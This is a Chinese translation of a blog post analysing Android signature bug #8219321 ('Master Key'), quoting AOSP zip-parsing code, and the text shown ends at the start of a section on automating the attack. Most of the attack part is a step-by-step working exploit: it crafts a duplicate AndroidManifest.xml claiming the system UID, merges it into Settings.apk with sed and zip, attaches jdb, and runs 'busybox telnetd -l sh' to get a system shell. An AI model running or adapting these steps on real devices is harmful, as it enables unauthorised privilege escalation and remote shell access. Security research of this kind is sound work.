原文:Exploit(&Fix) Android “Master Key”
出处:http://www.saurik.com/id/17
翻译:Hendy So
假设你对这篇文章感兴趣,建议你读取此系列文章的下一篇:Android Bug Superior to Master Key 。
今年的早些时候,Bluebox Security 宣布他们发现了Android的一个bug,可以不影响关联的签名来修改任意应用(包括随系统应用发布的)中的内容。细节在2013美国黑帽(Black Hat)技术大会上被揭密。
然而,并没有足够的细节披露出来以使大家能找到这个BUG。不久,在流行的开源Android ROM CyanogenMod中有了补丁,也使这个问题公开了,同时也是显而易见的:现在,已经有了POC(proof-of-concept,概念原型,指不完整的实现)这种具体的形式来验证这个bug如何被利用。
在本文中,我会描述不同的方法来利用这个漏洞(bug #8219321),将不再受之前描述所限制(特别地,被攻击的包不需要包含classes.dex,这在产品设备中通常是这样的——Hendy注:在正式产品中,会进行odex,在apk中不会有classes.dex存在)。
这个技术很简单,可以手工来操作。本文将带领读者领略整个过程,以使可以完全理解攻击是如何进行的。然后,文章也会介绍一个叫Impactor的自动化工具可以在几乎所有的Android设备上执行这个过程。
最后,使用Cydia Substrate代码修改framework修复这个漏洞背后的底层bug的细节也会呈现给大家。同时也会有一个Substrate提供的实现,可以安装在所有的设备上。
很多人读这篇文章只是为了了解如何使用Cydia Impactor来破解他们的设备。下载链接为:Mac OS X版本 ,Windows版本 。本文将会介绍可以在几乎所有的Android 4.1设备上获取root所使用的指令(使用local.prop),包括Google Glass和Google TV。
背景信息
几个月前,年度美国黑帽大会发布了会议议程,一个演讲有着极具吸引力的标题以及强大的理论,特别吸引了那些浏览此次大会的人的眼球:Android:One Root to Own Them All 。理论如下,讨论了一个示公开的漏洞:
本演讲是针对Android安全bug #8219321案例学习的技术细节,此bug于2013年2月披露给了Google。这个漏洞是有关Android应用在进行安全性校验和安装时的不一致,它使得可以在不破坏加密签名的情况下修改apk的代码。这反过来使得有简单的步骤可以进行系统访问和控制。
有关此bug出现了许多的讨论,但是鲜有细节能超过黑帽大会上公布的理论以及BlueBox Security(该公司的创始人就是在黑帽大会上发表演讲的那们)在Twitter上发表一些隐晦的信息。一个月后,此bug的发现人,Jeff Forristal公开了一些更深层次的信息。
在他们的博客上,声称Android Mater Key可以使用99%的设备可以被攻击(Uncovering Android Master Key that Makes 99% of Devices Vulnerable ),描绘了一张受此发现威胁的非常黑暗的画面。几个星期之后,出现了许多的新闻报道。其中以洛杉矶时报(LA Times )的TechCrunch 科技博客最为详尽。
Play商店的安全性
在Android上面,所有的应用都使用了开发者的私钥进行签名。Android的安装包管理器是通过比较证书来校验签名的,以此来决定是否允许应用来共享信息以及它们获取得什么样的权限。
即使是系统软件也是由设备制造商来签名的。使用同一个密钥签名的的应用因此可以干系统软件可以做的任何事情。通常情况下,这只有当你是制造商时才有可能的。然后,通过bug #8219321,任何人都可以窃取到制造商的签名为自己所用。
与此相关的问题就是一个野应用可以使用你设备的的系统签名。当你认为你只是在安装一个没有危害的游戏时,那个应用对于安装包管理器来说看起来它是来自设备制造商,因此会给予它很高的并且危险的系统权限。
感谢CIO的文章:Vulerability allows attackers to modify Android apps withou breaking their signatures 。我们从Forristal那了解到,当Google知道Bluebox Security发现的这个bug时,他们在Android应用市场(Play商店)上没有发现有利用此漏洞的应用。
Forristal说,通过Google Play发布应用来利用此漏洞是不可能的。因为Google会更新应用市场里应用的准入处理过程,以阻止包含此问题的app进入市场。他还说,Bluebox从Google那得到的信息还暗示,目前应用市场上也没有这样的app。
另一个潜在的利用方法是拥有安装其它应用权限的应用。有趣的是,在H-Online的文章“Android ‘s code signing can be bypassed ”中提到:Google在今年的4月份已经阻止了非Play市场的更新。这个策略对于这个安全问题是一个解决方案。
负责任的揭密
当然,许多我的读者都知道,对于那些漏洞,有很多非恶意的理由来对它们产生兴趣。许多用户手里的设备都被制造商或运营商因各种不那么令人信服的原因锁住了。要解放这些设备,破解是赋予用户更大权利的常用手段。
很多时候,这样做的结果是,像这样的bug会被比如evad3rs 这样的组织秘密地使用来访问加锁的手机,并且没有任何警告或通知给那些受到影响的人。当然,这是个危险的游戏。但是,我们当中的一些感觉到,我们必须尝试一下。
对于#8219321 bug,Bluebox Security声称他们感到“负责任的揭密”很重要,在黑帽大会公开揭密之前告知Google这个bug(据报道,Jeff Forristall甚至签署了对第一个公开揭密安全漏洞负责的策略)。
然而,之前有一个理论帖解释了有一个签名漏洞,一些安全社区的人可以基于这个信息独自找到这个bug:知道从哪里开始查找以及知道在某个地方可以找到某些信息使得发现的过程变得简单得多。
找到这个Bug
我的情况是,我之前已经看到过2012年有人发现过处理zip文件的bug:Ice Cream Sandwich: why native code support sucks 。在我的评论中,我说到了读取zip文件的hash表。因此当我再去看校验zip文件的代码时,这个bug就显而易见了。
当我发现这个bug时,我陷入了道德的困境:我是发布一个可以帮忙人们修补这个漏洞的工具?还是我等到这个漏洞在黑帽大会上公开之后?在咨询了IRC上的其他安全研究者后,我买了一张黑帽大会的票,暂时决定等待。
不过,最后,Bluebox Security的鼓吹招来了更多的新闻来关注这个问题,从而导致更多的风险,也吸引了更多的眼球。不过,坦白地说,我们可以想像,真正的令人害怕的是在黑帽大会日程发布的几个小时内,那些坏人们会拿到这个bug。现在,大家都知道这个了。
为了说明发现这个问题是多么地简单,Hacker News上的一些评论试图通过看jar签名算法不假思索就可以得出结论。在ctz的评论 中,他描述了两个可能性,第一个就与Bluebox Security发现的bug相同。
Zip格式从结构上并不保证文件入口的唯一性。如果APK签名校验选择第一个匹配文件名的入口,而解压时选择最后一个,那么就悲剧了。
不久,有人在CyanogenMod(一个开源的Android ROM)上提出了这个问题:Patch for Android bug security bug 8219321 ? 紧接着,在它们的新版本中,这个bug的补丁就发布了:Remove support for duplicate file entries 。这个bug就此公开化了。
APK校验
某种程度上,我并不需要再来描述这个bug,因为其它人已经做了。一个非常详细的博客甚至发表了一个完整的系列文章(到目前为止是7个)描述这个bug:The Great Android Security Hole of ‘o8 。然而,我发现这个漏洞的过程是不一样的,我将重新描述这个bug。
核心问题是apk文件的解析和校验与最终的从包中加载内容有着不同的“解压”实现。文件的校验使用的是libcore中的Harmony ZipFile实现,而数据的加载是在C代码中重新实现的。
两种实现在处理zip文件中多个同样名字的文件时是不相同的。Java实现的处理方式是它会遍历zip文件的中心目录(central directory),并且把每个入口加到一个LinkedHashMap 中。入口的键值使用的是文件名。
private final LinkedHashMap<String, ZipEntry> mEntries
= new LinkedHashMap<String, ZipEntry>();
int numEntries = it.readShort() & 0xffff;
for (int i = 0; i < numEntries; ++i) {
ZipEntry newEntry = new ZipEntry(hdrBuf, bin);
mEntries.put(newEntry.getName(), newEntry);
}
之后,PackageParser 会遍历zip文件的每个入口,校验文件的签名。这里,代码会遍历LinkedHashMap。这样做的结果是只有指定名字的最后一个入口会被用来做签名校验——之前所有的重复的入口被会被忽略。
JarFile jarFile = new JarFile(mArchiveSourcePath);
Enumeration<JarEntry> entries = jarFile.entries();
final Manifest manifest = jarFile.getManifest();
while (entries.hasMoreElements()) {
final JarEntry je = entries.nextElement();
final Certificate[] localCerts =
loadCertificates(jarFile, je, readBuffer);
if (localCerts == null) {
Slog.e(TAG, "Package " + pkg.packageName
+ " has no certificates at entry "
+ je.getName() + "; ignoring!");
替换Dalvik字节码
到目前为止,所有利用此bug的破解都直接遵循了2013美国黑帽大会上发表的原始理论的“APK代码修改”章节:目标是替换VM中JarFile实现加载的apk中存储的字节码。它的实现是由C实现的unzip。
int numEntries = pArchive->mNumEntries;
pArchive->mHashTableSize =
dexRoundUpPower2(1 + (numEntries * 4) / 3);
pArchive->mHashTable = calloc(pArchive->mHashTableSize,
sizeof(ZipHashEntry));
int i;
for (i = 0; i < numEntries; i++) {
hash = computeHash(ptr + kCDELen, fileNameLen);
addToHash(pArchive, ptr + kCDELen, fileNameLen, hash);
ptr += kCDELen + fileNameLen + extraLen + commentLen;
}
///////////////////////////////////////////////////////////////////////////////////////////////
static void addToHash(ZipArchive *pArchive,
const char *str, int strLen, unsigned int hash)
{
const int hashTableSize = pArchive->mHashTableSize;
int ent = hash & (hashTableSize - 1);
while (pArchive->mHashTable[ent].name != NULL)
ent = (ent + 1) & (hashTableSize-1);
pArchive->mHashTable[ent].name = str;
pArchive->mHashTable[ent].nameLen = strLen;
}
这个算法是一个线性探查(linear probing)的unchained hash表(不受约束的hash表?),不会替换。这样做的结果就是原始zip文件中的每个入口都会被存到数字里面。查找入口的算法与添加是一样的:向前遍历找到一个匹配的。这意味着,会使用先添加的入口而不是后加入的入口。
因此,如果你往一个现在的apk里添加一个新的classes.dex入口,并且加到apk中已经存在的classes.dex之前,它就会被校验成功(因为校验时会使用第二个入口),而修改的文件会被VM加载(因为它在前面)。
经过优化的dex文件
这个说起来比做起来简单多了:那些你想利用的apk文件通常来自于设备里已经存在的来自制造商的。然而,由于节省空间和启动速度的原因,这些文件实际上并不包含字节码:里面的classes.dex已经在外部优化过了。
我手边闲置的一台Google Nexus设备的情况是,没有一个系统包包含有可以被替换的字节码。一个叫Pau Oliva(他给出了此bug的POC)的人在android-security讨论邮件列表里面提到了这个问题:Info on Android bug 8219321 ?
是的,但是实际上没有这么简单:系统app都是经过odex的,并且里面没有classes.dex。因此,你可以通过修改资源/xml,但是你不能修改实际的程序,因为它是在apk外面的odex文件。
因此,看起来大部分的开发都在找制造商发布的apk升级。因为升级包必须包含要发布的代码的新版本。这些apk是可以修改的。然而,找到这些是可遇不可求的,因此也就不容易做到自动化。
除了#8219321 bug,还有一个现在已知的签名bug:#9695860。这个是根据所有人都盯着的等着发布#8219321时AOSP发布的一个补丁 ,它使我们当中的很多人都知道了这个bug。
这个bug与#8219321是不同的。人们想利用它来破解要比#8219321困难得多。特别是,人们发现你可以使用它来交换小于64K(这因此会使你有所限制)的文件的内容。
当所有人都在关注classes.dex时,Pau Oliva(#8219321 bug的漏洞POC的开发者)在Twitter上说:很难找到一个使用系统签名的包含classes.dex的apk,现在变成了找到那些classes.dex大小小于64K的apk文件 。之后,他表示确实找到了Motorala的一个这样的文件 。
要了解到目前为止人们利用#9695860 bug的更多信息,建议看一下Android Security Squad(安卓安全小分队) 的描述以及(除非你能看懂中文,如果你会,那篇就足够了)H-Online 和Sophos 上的英文描述。 替换原生库
另外一个可能性是替换包中的原生库。这些文件是在包安装或系统启动的时候由Package Manager解压出来的。实现此目的的C++代码与Dalvik中的C代码非常相似,但改动挺大的。
int numEntries = mNumEntries;
mHashTableSize = roundUpPower2(1 + (numEntries * 4) / 3);
mHashTable = calloc(mHashTableSize, sizeof(HashEntry));
for (int i = 0; i < numEntries; i++) {
hash = computeHash(ptr + kCDELen, fileNameLen);
addToHash(ptr + kCDELen, fileNameLen, hash);
ptr += kCDELen + fileNameLen + extraLen + commentLen;
}
void ZipFileRO::addToHash(
const char *str, int strLen, unsigned int hash
) {
int ent = hash & (mHashTableSize-1);
while (mHashTable[ent].name != NULL)
ent = (ent + 1) & (mHashTableSize-1);
mHashTable[ent].name = str;
mHashTable[ent].nameLen = strLen;
}
再次,我们可以看到使用了hash table。与Dalvik中的实现一样,从zip文件中读出的入口保存时没有被替换。然而,与Dalvik中不一样的是,使用zip文件的代码并没有使用hash table来通过名字(比如classes.dex)查找文件:它是通过遍历整个table。
const int N = zipFile.getNumEntries();
for (int i = 0; i < N; i++) {
const ZipEntryRO entry = zipFile.findEntryByIndex(i);
if (strncmp(fileName, APK_LIB, APK_LIB_LEN))
continue;
...
callFunc(env, callArg, &zipFile, entry, ...);
这段代码来自于NativeLibraryHelper文件中的iterateOverNativeFiles函数,它遍历zip文件中的每个入口。对于每个文件,会调用一个函数来处理这个入口相关的一些事情,比如看它是否是需要解压出来的兼容库(在这种情况下,函数是copyFileIfChanged)。
看一下ZipFileRO.cpp ,我们可以看到,findEntryByIndex函数是从hash table的顶层开始查找使用过的槽(slots)(是的,算法复杂度为O(N^2))。不是吧,这并不是遍历一个zip文件内容的合理的方法,:P(Hendy注:这是个表情)。Java代码里面的有关这个O(N^2)算法的bug已经被提出来了,这里的bug将来可能也会被修复。
ZipEntryRO ZipFileRO::findEntryByIndex(int idx) const {
if (idx < 0 || idx >= mNumEntries)
return NULL;
for (int ent = 0; ent < mHashTableSize; ent++)
if (mHashTable[ent].name != NULL)
if (idx-- == 0)
return (ZipEntryRO) (ent + kZipEntryAdj);
return NULL;
}
不幸的是,这个代码释放出来的库文件会替换之前释放出来的。因此,hash table中后面的入口会覆盖前面的。虽然可以使hash table重叠(将后面的入口移到数组的最顶层),但很难控制并且不太可能(由于空间预留——over-provisioning)。
替换AndroidManifest.xml
Android应用程序包里的其它的文件类型包括资源(assets and resources)(技术上来说,resources也是存在assets中的)。资源是由AssetManager来管理的,它使用了与原生库解压逻辑相同的基于hash table的C++解压实现。
特别地,每个包都包含一个AndroidManifest.xml文件,这个文件描述了包的内容。值得注意的是,这个bug的一个POC已经在GitHub上提交了一个问题,Research exactly what can be modified 。注意这句表述:当AndroidManifest被破坏时,会出现奇怪的事情。
这个文件很少包含既被Java层的PackageParser 使用,又被C++层的AssetManager使用的属性。因此,我们需要对每个属性的用法进行研究来看看有没有对我们有用的(这听起来比实际上更有趣一些,我正在尝试把这件事情做完——对不起。Hendy注:作者也在研究,并没有搞完)。
private static final String ANDROID_MANIFEST_FILENAME
= "AndroidManifest.xml";
if ((flags & PARSE_IS_SYSTEM) != 0) {
JarEntry jarEntry = jarFile.getJarEntry(
ANDROID_MANIFEST_FILENAME);
certs = loadCertificates(jarFile, jarEntry, ...);
...
} else {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
final JarEntry je = entries.nextElement();
final String name = je.getName();
if (ANDROID_MANIFEST_FILENAME.equals(name)) {
final Attributes attributes =
manifest.getAttributes(name);
pkg.manifestDigest =
ManifestDigest.fromAttributes(attributes);
}
...
}
}
这段从PackageParser中提取出来的代码,是用来校验签名的。在此过程中,当遇到AndroidManifest时,将它的摘要保存起来以备后用。这个字段在文档注释中可以看到。我们仍然需要看代码以确认它有没有会导致问题的用法。
/**
* Digest suitable for comparing whether this
* package's manifest is the same as another.
*/
public ManifestDigest manifestDigest;
由于PackageParser看到的AndroidManifest.xml入口总是从系统中来的,而且我们所关注的apk也很可能是已经在系统中安装的。这意味着manifestDigest字段会被设置成设备上已经安装的系统包同样的值。
我能想到的唯一使用此字段的地方是包安装进程自身校验安装包文件在pm前端工具与后端PackageManager服务间传递时在安装进程之外没有改变。
if (!args.manifestDigest.equals(pkg.manifestDigest)) {
res.returnCode = PackageManager.INSTALL_FAILED_PACKAGE_CHANGED;
return;
}
如果安装包在此过程中修改了,安装进程会失败并返回INSTALL_FAILED_PACKAGE_CHANGED。这对于我们来说不是个问题。因为解析并翻译manifest来校验都需要ManifestDigest对象,而它们都是从Java层获得的。
转发锁定公共文件(Hendy注:这部分作者也没搞清楚,可以看我另外翻译的有关转发锁的文章)
另外一个使用java zip代码访问AndroidManifest.xml的来自于PackageHelper.java .,它位于extractPublicFiles方法中。这个方法只在具有“转发锁”(Android提供拷贝保护的术语)的包时才被PackageManagerService 调用。
// Copy manifest, resources.arsc and res directory to public zip
for (final ZipEntry zipEntry : Collections.list(privateZip.entries())) {
final String zipEntryName = zipEntry.getName();
if ("AndroidManifest.xml".equals(zipEntryName)
|| "resources.arsc".equals(zipEntryName)
|| zipEntryName.startsWith("res/")) {
size += zipEntry.getSize();
if (publicZipFile != null)
copyZipEntry(zipEntry, privateZip, publicZipOutStream);
}
}
if (isFwdLocked()) {
final File destResourceFile =
new File(getResourcePath());
PackageHelper.extractPublicFiles(
codeFileName, destResourceFile);
}
往回追溯一个包是如何变成isFwdLocked的。它很大程度来自于在调用pm前端安装包时是否指定了-l参数。我也跟踪了另外一条路径,它包的设置中将其标记为特殊的转发锁。
while ((opt = nextOption()) != null) {
if (opt.equals("-l")) {
installFlags |= PackageManager.INSTALL_FORWARD_LOCK;
if (isForwardLocked(pkg)) {
currFlags |= PackageManager.INSTALL_FORWARD_LOCK;
newFlags |= PackageManager.INSTALL_FORWARD_LOCK;
}
private static boolean isForwardLocked(PackageParser.Package pkg) {
return (pkg.applicationInfo.flags & ApplicationInfo.FLAG_FORWARD_LOCK) != 0;
}
private boolean isForwardLocked(PackageSetting ps) {
return (ps.pkgFlags & ApplicationInfo.FLAG_FORWARD_LOCK) != 0;
}
/* Set the global "forward lock" flag */
if ((flags & PARSE_FORWARD_LOCK) != 0)
pkg.applicationInfo.flags |=
ApplicationInfo.FLAG_FORWARD_LOCK;
老实说,当我试图找出如果设定PARSE_FORWARD_LOCK时,我发现当安装包的老版本设定了INSTALL_FORWARD_LOCK标记时,现在安装会失败(这会导致不停地往前一个版本递归),看起来就成死循环了。
只要不尝试创建一个有此bug的转发锁的应用,你就不应该会有问题。如果有方法可以得到我找不到或没有考虑的带转发锁的应用,读者应该避免使用这种机制。
研究AssetManager
接下来对manifest的使用就是AssetManager(或assmgr)了。Asset系统使用cookie来跟踪文件(Hendy注:可以参看我写的关于Android资源的笔记),它其实就是文件数组的偏移值:文件被加到asset path中,就可以得到一个cookie。当要查找一个asset时,可以传入cookie和asset的文件名。
AssetManager assmgr = null;
assmgr = new AssetManager();
int cookie = assmgr.addAssetPath(mArchiveSourcePath);
assmgr.openXmlResourceParser(cookie,
ANDROID_MANIFEST_FILENAME);
在AssetManager.java 中,我们跟踪到当试图打开一个xml资源时,会依次调用openXmlResourceParser、 openXmlBlockAsset,最终是openXmlAssetNative,它是native代码AssetManager.cpp 中一部分,使用了openNonAssetInPathLocked函数在zip文件中查找并返回内容的字节流。
XmlBlock block = openXmlBlockAsset(cookie, fileName);
XmlResourceParser rp = block.newParser();
block.close();
return rp;
==========================================
int xmlBlock = openXmlAssetNative(cookie, fileName);
if (xmlBlock != 0) {
XmlBlock res = new XmlBlock(this, xmlBlock);
incRefsLocked(res.hashCode());
return res;
}
==========================================
AssetManager *am = assetManagerForJavaObject(env, clazz);
Asset *a = am->openNonAsset(cookie,
fileName8.c_str(), Asset::ACCESS_BUFFER)
==========================================
const size_t which = cookie - 1;
Asset *pAsset = openNonAssetInPathLocked(
fileName, mode, mAssetPaths.itemAt(which));
==========================================
if (ap.type == kFileTypeDirectory) {
...
} else { /* zip file */
String8 path(fileName);
ZipFileRO *pZip;
ZipEntryRO entry;
pZip = getZipFileLocked(ap);
entry = pZip->findEntryByName(path.string());
如我们所见,修改包中的AndroidManifest.xml非常简单,而且不会导致严重的不良影响。最后一步使用了与我们前面看到的native库相同的zip文件实现,但这次,它使用了findEntryByName——这个是可攻击的。
编译AndroidManifest
当我们替换apk中的AndroidManifest时,我们不能仅添加一个纯文本的XML文件——Android上所有的xml资源都是经过编译的,许多属性都会被数字标识符(这些会在底层系统平台中共享)所替代。我们必须使用aapt来编译AndroidManifest。
$ echo >AndroidManifest.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="a.b.c.d"
android:versionCode="0"
android:versionName="0"
android:sharedUserId="android.uid.system"
>
<application android:hasCode="false"/>
</manifest>
EOF
$ aapt p -I $sdk/platforms/android-3/android.jar \
-f -F abcd.apk -M AndroidManifest.xml
android.uid.system常量与android:sharedUserId一起使用表示这个包的进程和数据都是为系统用户所有的。为了使用这个属性,包必须由系统开发者签名(当然,绕过此要求是本篇文章的主要工作)。
我们指定android:hasCode=”false”作为application元素的一部分,因为我们修改的apk是没有classes.dex文件的。否则,如果你试图安装一个包的AndroidManifest包含有application元素(其中我们需要定义一些字符串,比如activities)(Hendy注:这里有点不理解。意思就是如果不指定hasCode=”false”,但又没有提供classes.dex,就会报错),你会得到dex optimizer给出的错误:
$ adb install -r abcd.apk
3019 KB/s (2934687 bytes in 0.949s)
pkg: /data/local/tmp/abcd.apk
Failure [INSTALL_FAILED_DEXOPT] I/PackageManager( 522): Running dexopt on: a.b.c.d
I/PackageManager( 522): Package a.b.c.d codePath changed from /data/app/a.b.c.d-2.apk to /data/app/a.b.c.d-1.apk; Retaining data and using new
W/dalvikvm( 2992): DexOptZ: zip archive '/data/app/a.b.c.d-1.apk' does not include classes.dex
W/installd( 162): DexInv: --- END '/data/app/a.b.c.d-1.apk' --- status=0xff00, process failed
E/installd( 162): dexopt failed on '/data/dalvik-cache/data@app@a.b.c.d-1.apk@classes.dex' res = 65280
W/PackageManager( 522): Package couldn't be installed in /data/app/a.b.c.d-1.apk
攻击一个apk
下一步,我们要编译一个包含两个AndroidManifest.xml的zip文件。有一些POC工具可以使用,python版本的(Quick & dirty PoC for Android bug 8219321 ),java版本的(APK generator for a huge hole in Android )。读者们可以选择这些工具来使用。
不过,坦白地说,这些项目都有点太复杂了。对于一个完全自动化的工具,你需要做出正确的事,解析出zip目录的入口。如果你在使用console,你可以简单地使用sed临时重命名zip中的入口。
因此,我们将使用前面我们编译出来的android包,重命名AndroidManifest.xml为ExploitManifest.xml,然后使用现成的zip命令行来合并从手机里pull出来的Settings.apk的拷贝。最后,我们将manifest重命名回去。
$ adb pull /system/app/Settings.apk
4104 KB/s (6413575 bytes in 1.526s)
$ unzip -qd Settings Settings.apk
$ sed -i -e 's/AndroidManifest/ExploitManifest/g' abcd.apk
$ (cd Settings && zip -qr ../abcd.apk .)
$ sed -i -e 's/ExploitManifest/AndroidManifest/g' abcd.apk
修改后的包现在可以安装到系统上了。它会使用之前添加到zip文件中的文件进行校验,但当AndroidManifest.xml进行解析的时候,它会使用我们使用aapt编译的这个。我们可以通过包安装时输出“Success”来验证,并且可以使用pm list packages来检查。
$ adb install -r abcd.apk
3011 KB/s (2934659 bytes in 0.951s)
pkg: /data/local/tmp/abcd.apk
Success
$ adb shell pm list packages | grep -F a.b.c.d
package:a.b.c.d
android:debuggalbe及run-as
现在我们需要找到仅仅通过修改的manifest来运行包中的代码的途径。一个很多人会想到的做法是设置包中的android:debuggable=”true”,然后使用run-as命令。这个工具是整个系统里唯一的setuid程序,并且可以使调试shell运行一个在debuggable的应用的上下文中的代码。
然而,这样是不行的。如果目标应用不是一个普通权限的应用(通过比较包中的user id来检查),run-as会拒绝工作。因为我们要做系统破解,因此我们只关注系统用户,这对于我们来说没有用。
pkgname = argv[1];
if (get_package_info(pkgname, &info) < 0)
return 1;
/* reject system packages */
if (info.uid < AID_APP) {
panic("Package '%s' is not an application\n", pkgname);
return 1;
}
#define AID_ROOT 0 /* traditional unix root user */
#define AID_SYSTEM 1000 /* system server */
#define AID_APP 10000 /* first app user */
android:debuggable及jdb
不过,另一种选择是将进程标记为可调试,然后attach调试器。因为调试器接口允许我们运行进程中的代码(为了运行时检查变量的值,或者使用不同的参数进行逻辑测试)。我们可以使用这种方法运行目标进程中我们所需要的任何代码。
为了能做到这样,我们必须让应用运行到一个进程中。如果在我们的包中没有任何代码,这看起来非常难做到。不过,我们可以指定任意我们想要的类作为Activity的子类作为我们的入口点,包括Activity类自身(Activity类位于系统framework中)。
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="a.b.c.d"
android:versionCode="0"
android:versionName="0"
android:sharedUserId="android.uid.system"
>
<application
android:hasCode="false"
android:debuggable="true"
>
<activity android:name="android.app.Activity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
编译一个带上面manifest的包,现在我们可以启动我们的通用activity了。它会在屏幕上出现一个空白界面(因为它什么都没做),但是结果是进程已经起来了。如果现在我们使用adb jdwp来查询可调试进程,我们可以发现有一进程可以通过adb forward然后使用jdb来连接了。
$ adb shell am start -D -a android.intent.action.MAIN -n a.b.c.d/android.app.Activity
Starting: Intent { act=android.intent.action.MAIN cmp=a.b.c.d/android.app.Activity }
$ adb jdwp
2256
$ adb forward tcp:8600 jdwp:2256
$ jdb -attach localhost:8600
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
(Hendy注:作者是在linux环境下,在windows下jdb的版本可能不一样,比如我使用的32位xp上的jdk1.6.0_18版本的jdb就不能使用-attach连接,要使用jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8600这样的方法连接。使用-attach连接时会提示shmemBase_attach错误,这个意思是-attach使用的是共享内存的方式来连接的。其实-attach就是使用缺省的方式来连接。关于jdb支持的连接类型,可以在jdb下执行connectors命令查看。另外在jdb下执行help可以查看所有命令)
一旦使用jdb attach上了,我们可以获取到线程列表,attach指定的线程(比如,主线程),然后尝试使用java.lang.Runtime.getRuntime(它有一个exec方法,可以用来运行任意进程)。然后,这样也是行不通的。我们会得到“IncompatibleThreadStateException”异常。
> threads
Group system:
(java.lang.Thread)0xc1415a1460 <8> FinalizerWatchdogDaemon cond. waiting
(java.lang.Thread)0xc1415a12b0 <7> FinalizerDaemon cond. waiting
(java.lang.Thread)0xc1415a1148 <6> ReferenceQueueDaemon cond. waiting
(java.lang.Thread)0xc1415a1058 <5> Compiler cond. waiting
(java.lang.Thread)0xc1415a0e78 <3> Signal Catcher cond. waiting
(java.lang.Thread)0xc1415a0d98 <2> GC cond. waiting
Group main:
(java.lang.Thread)0xc140d359a0 <1> main running
(java.lang.Thread)0xc1415a7888 <11> Binder_3 running
(java.lang.Thread)0xc1415a5c28 <10> Binder_2 running
(java.lang.Thread)0xc1415a5ac8 <9> Binder_1 running
> thread 0xc140d359a0
<1> main[1] print java.lang.Runtime.getRuntime()
com.sun.jdi.IncompatibleThreadStateException
at com.sun.tools.jdi.ThreadReferenceImpl.frameCount(ThreadReferenceImpl.java:342)
at com.sun.tools.example.debug.tty.ThreadInfo.getCurrentFrame(ThreadInfo.java:221)
at com.sun.tools.example.debug.tty.Commands.evaluate(Commands.java:106)
at com.sun.tools.example.debug.tty.Commands.doPrint(Commands.java:1654)
at com.sun.tools.example.debug.tty.Commands$3.action(Commands.java:1680)
at com.sun.tools.example.debug.tty.Commands$AsyncExecution$1.run(Commands.java:66)
java.lang.Runtime.getRuntime() = null
Current thread isn't suspended.
错误信息“Current thread isn’t suspended”看起来还有点用。你不能在一个已经运行的线程上再运行一些东西,因此我们必须首先暂停所有的线程。然而,这样也不行,我们还是得到同样的异常(尽管是jdb代码的其它地方抛出来的)。
<1> main[1] suspend
All threads suspended.
<1> main[1] print java.lang.Runtime.getRuntime()
com.sun.jdi.IncompatibleThreadStateException
at com.sun.tools.jdi.ClassTypeImpl.invokeMethod(ClassTypeImpl.java:231)
at com.sun.tools.example.debug.expr.LValue$LValueStaticMember.getValue(LValue.java:561)
at com.sun.tools.example.debug.expr.ExpressionParser.evaluate(ExpressionParser.java:84)
at com.sun.tools.example.debug.tty.Commands.evaluate(Commands.java:114)
at com.sun.tools.example.debug.tty.Commands.doPrint(Commands.java:1654)
at com.sun.tools.example.debug.tty.Commands$3.action(Commands.java:1680)
at com.sun.tools.example.debug.tty.Commands$AsyncExecution$1.run(Commands.java:66)
java.lang.Runtime.getRuntime() = null
原因是线程没有“ready”。查看Dalvik的Debugger 的代码,在dvmDbgInvokeMethod函数中,我们看到一条有用的注释解释了一个线程的“ready”状态表示它已经“stopped by event”(比如一个断点)。这是我们不能轻易做到的。
if (!targetThread->invokeReq.ready) {
dvmUnlockThreadList();
return ERR_INVALID_THREAD;
/* thread not stopped by event */
}
看一下主线程的堆栈,我们看到它位于MessageQueue .nativePollOnce()方法中。它是next()方法的后端,next方法会被Looper 当中的一个循环所调用。这意味着,如果我们在next()方法设一个断点(Hendy注:命令stop in android.os.MessageQueue.next),然后产生一条任意的消息,断点就会生效。
<1> main[1] where
[1] android.os.MessageQueue.nativePollOnce (native method)
[2] android.os.MessageQueue.next (MessageQueue.java:125)
[3] android.os.Looper.loop (Looper.java:124)
[4] android.app.ActivityThread.main (ActivityThread.java:5,041)
[5] java.lang.reflect.Method.invokeNative (native method)
[6] java.lang.reflect.Method.invoke (Method.java:511)
[7] com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run (ZygoteInit.java:793)
[8] com.android.internal.os.ZygoteInit.main (ZygoteInit.java:560)
[9] dalvik.system.NativeStart.main (native method)
<1> main[1] stop in android.os.MessageQueue.next()
Set breakpoint android.os.MessageQueue.next()
事实上, 对于activity的任意操作(比如点击一下)就会产生一条消息。我们也可以通过在命令行中重新产生这个activity来强制产生这种行为。通过--activity-clear-task参数可以很简单地做到(尽管在比较新的Android版本中才能使用)。
$ adb shell am start --activity-clear-task -a android.intent.action.MAIN -n a.b.c.d/android.app.Activity
Starting: Intent { act=android.intent.action.MAIN ***=0x8000 cmp=a.b.c.d/android.app.Activity }
当断点生效后,我们现在可以使用java.lang.Runtime.exec方法运行任何我们想要的命令了。需要注意的是,如果你传给这个方法单个字符串,它会使用一个很白痴的算法以空格作为分隔符来切分字符串,使得它很难使用sh –c来运行重定向子shell。
Breakpoint hit: "thread=<1> main", android.os.MessageQueue.next(), line=118 bci=0
<1> main[1] print java.lang.Runtime.getRuntime().exec("/data/local/tmp/busybox telnetd -p 8899 -l sh")
java.lang.Runtime.getRuntime().exec("/data/local/tmp/busybox telnetd -p 8899 -l sh") = "Process[pid=2269]"
然而,通过运行telnetd(通过在busybox中有。如果你没有busybox,在我的服务器上有一份arm的版本),我们就可以使用我们电脑上的telnet(也可以在手机上使用busybox)连接并且获得一个以system用户运行的shell(令人沮丧的是,不是root)。
shell@android:/ $ /data/local/tmp/busybox telnet 127.0.0.1:8899
Entering character mode
Escape character is '^]'.
system@android:/ $ id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct),41000(u0_a31000)
自动化破解
现在,手动破解已经可以了,可以肯定的是应该有更好用的完全自动化的实现。但是很多Android破解的实现都带有很多二进制文件和shell脚本以尝试让adb自动化,我想要更实在的。
